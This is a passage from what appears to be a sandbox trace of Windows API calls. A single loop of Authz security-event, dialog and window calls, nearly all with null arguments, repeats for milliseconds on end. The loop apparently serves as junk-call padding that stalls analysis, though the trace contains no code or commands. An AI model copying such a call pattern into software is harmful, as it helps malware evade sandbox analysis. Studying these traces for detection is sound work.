dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.652] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.652] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.652] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.653] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.653] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.653] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.653] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.653] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.653] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.653] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.653] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.653] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.653] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.653] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.653] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.654] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.654] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.654] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.654] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.654] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.654] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.654] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.654] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.654] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.654] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.654] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.655] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.655] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.655] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.655] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.655] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.655] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.655] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.655] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.655] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.655] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.655] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.655] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.656] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.656] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.656] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.656] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.656] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.656] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.656] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.656] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.657] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.657] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.657] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.657] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.657] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.657] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.657] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.657] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.657] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.657] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.657] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.657] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.658] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.658] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.658] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.658] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.658] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.658] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.658] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.658] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.658] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.658] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.658] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.659] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.659] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.659] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.659] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.659] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.659] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 